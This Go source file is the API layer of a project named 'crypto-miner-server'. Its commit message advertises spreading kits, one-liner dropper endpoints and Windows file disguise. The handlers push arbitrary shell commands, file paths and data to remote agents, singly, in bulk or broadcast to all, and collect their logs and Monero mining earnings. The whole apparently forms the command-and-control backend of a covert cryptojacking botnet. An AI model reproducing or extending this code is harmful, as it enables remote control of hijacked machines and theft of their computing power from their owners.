Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
254 lines
6.4 KiB
Go
254 lines
6.4 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"strconv"
|
|
|
|
"crypto-miner-server/internal/alerts"
|
|
"crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/pool"
|
|
|
|
"github.com/go-chi/chi/v5"
|
|
)
|
|
|
|
type FleetHandler struct {
|
|
db *db.Database
|
|
ws *WSHub
|
|
ai *AIHandler
|
|
pools *pool.Manager
|
|
alerts *alerts.Evaluator
|
|
defaultPool pool.Config
|
|
}
|
|
|
|
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
|
|
return &FleetHandler{
|
|
db: database,
|
|
ws: ws,
|
|
ai: ai,
|
|
pools: pools,
|
|
alerts: evaluator,
|
|
defaultPool: defaultPool,
|
|
}
|
|
}
|
|
|
|
func (f *FleetHandler) GetAlerts(w http.ResponseWriter, r *http.Request) {
|
|
if f.alerts == nil {
|
|
writeJSON(w, []alerts.AlertEvent{})
|
|
return
|
|
}
|
|
writeJSON(w, f.alerts.ActiveAlerts())
|
|
}
|
|
|
|
func (f *FleetHandler) GetPoolStatus(w http.ResponseWriter, r *http.Request) {
|
|
if f.pools == nil {
|
|
writeJSON(w, []pool.PoolStatus{})
|
|
return
|
|
}
|
|
writeJSON(w, f.pools.ListStatus())
|
|
}
|
|
|
|
func (f *FleetHandler) GetAIActivity(w http.ResponseWriter, r *http.Request) {
|
|
if f.ai == nil {
|
|
writeJSON(w, []AIActivityEntry{})
|
|
return
|
|
}
|
|
writeJSON(w, f.ai.ActivitySnapshot())
|
|
}
|
|
|
|
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
|
|
hashrate := parseFloatQuery(r, "hashrate", 0)
|
|
writeJSON(w, EstimateXMRPerDay(hashrate))
|
|
}
|
|
|
|
func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
if f.ws == nil {
|
|
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
content := f.ws.GetAgentLog(id)
|
|
if r.URL.Query().Get("refresh") == "1" {
|
|
// Fire the get_log command and return immediately — the response arrives
|
|
// via the WebSocket command_result broadcast (fixes M18: no more 1.8s block).
|
|
// The dashboard will receive the log content via the commandResults queue.
|
|
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
|
|
}
|
|
writeJSON(w, map[string]interface{}{
|
|
"agent_id": id,
|
|
"content": content,
|
|
})
|
|
}
|
|
|
|
type agentCommandRequest struct {
|
|
Action string `json:"action"`
|
|
TailLines int `json:"tail_lines,omitempty"`
|
|
Command string `json:"command,omitempty"`
|
|
Path string `json:"path,omitempty"`
|
|
Data string `json:"data,omitempty"`
|
|
}
|
|
|
|
func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
if id == "" {
|
|
http.Error(w, "agent id is required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
var req agentCommandRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid command", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.Action == "" {
|
|
http.Error(w, "action is required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if f.ws == nil {
|
|
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
args := map[string]interface{}{}
|
|
if req.TailLines > 0 {
|
|
args["tail_lines"] = req.TailLines
|
|
}
|
|
if req.Command != "" {
|
|
args["command"] = req.Command
|
|
}
|
|
if req.Path != "" {
|
|
args["path"] = req.Path
|
|
}
|
|
if req.Data != "" {
|
|
args["data"] = req.Data
|
|
}
|
|
|
|
if id == "all" {
|
|
if f.ws.connectedAgentCount() == 0 {
|
|
writeJSON(w, map[string]interface{}{
|
|
"success": false,
|
|
"error": "no connected agents",
|
|
"agent_id": id,
|
|
"action": req.Action,
|
|
})
|
|
return
|
|
}
|
|
f.ws.BroadcastAgentCommand(req.Action, args)
|
|
} else {
|
|
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
|
return
|
|
}
|
|
}
|
|
writeJSON(w, map[string]interface{}{
|
|
"success": true,
|
|
"agent_id": id,
|
|
"action": req.Action,
|
|
})
|
|
}
|
|
|
|
type agentMetaRequest struct {
|
|
Notes string `json:"notes"`
|
|
Tags []string `json:"tags"`
|
|
}
|
|
|
|
func (f *FleetHandler) PutAgentMeta(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
if id == "" {
|
|
http.Error(w, "agent id is required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
var req agentMetaRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid body", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if _, err := f.db.GetAgent(id); err != nil {
|
|
http.Error(w, "agent not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
if err := f.db.UpdateAgentMeta(id, req.Notes, req.Tags); err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
agent, _ := f.db.GetAgent(id)
|
|
writeJSON(w, map[string]interface{}{"success": true, "agent": agent})
|
|
}
|
|
|
|
type bulkCommandRequest struct {
|
|
AgentIDs []string `json:"agent_ids"`
|
|
Action string `json:"action"`
|
|
Command string `json:"command,omitempty"`
|
|
}
|
|
|
|
func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
|
|
if f.ws == nil {
|
|
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
var req bulkCommandRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid body", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.Action == "" {
|
|
http.Error(w, "action is required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if len(req.AgentIDs) == 0 {
|
|
writeJSON(w, map[string]interface{}{
|
|
"success": false,
|
|
"error": "agent_ids is required",
|
|
})
|
|
return
|
|
}
|
|
|
|
args := map[string]interface{}{}
|
|
if req.Command != "" {
|
|
args["command"] = req.Command
|
|
}
|
|
|
|
sent := 0
|
|
failed := 0
|
|
for _, id := range req.AgentIDs {
|
|
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
|
failed++
|
|
} else {
|
|
sent++
|
|
}
|
|
}
|
|
writeJSON(w, map[string]interface{}{
|
|
"success": sent > 0,
|
|
"sent": sent,
|
|
"failed": failed,
|
|
"action": req.Action,
|
|
})
|
|
}
|
|
|
|
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).
|
|
func EstimateXMRPerDay(hashrate float64) map[string]interface{} {
|
|
const networkHashrate = 3_000_000_000.0
|
|
const dailyEmissionXMR = 432.0
|
|
xmr := 0.0
|
|
if hashrate > 0 && networkHashrate > 0 {
|
|
xmr = (hashrate / networkHashrate) * dailyEmissionXMR
|
|
}
|
|
return map[string]interface{}{
|
|
"hashrate": hashrate,
|
|
"xmr_per_day": xmr,
|
|
"usd_per_day": nil,
|
|
"network_hashrate": networkHashrate,
|
|
"note": "Approximate estimate based on ~3 GH/s network hashrate; actual earnings vary with difficulty and pool luck.",
|
|
}
|
|
}
|
|
|
|
func parseFloatQuery(r *http.Request, key string, def float64) float64 {
|
|
v := r.URL.Query().Get(key)
|
|
if v == "" {
|
|
return def
|
|
}
|
|
f, err := strconv.ParseFloat(v, 64)
|
|
if err != nil {
|
|
return def
|
|
}
|
|
return f
|
|
}
|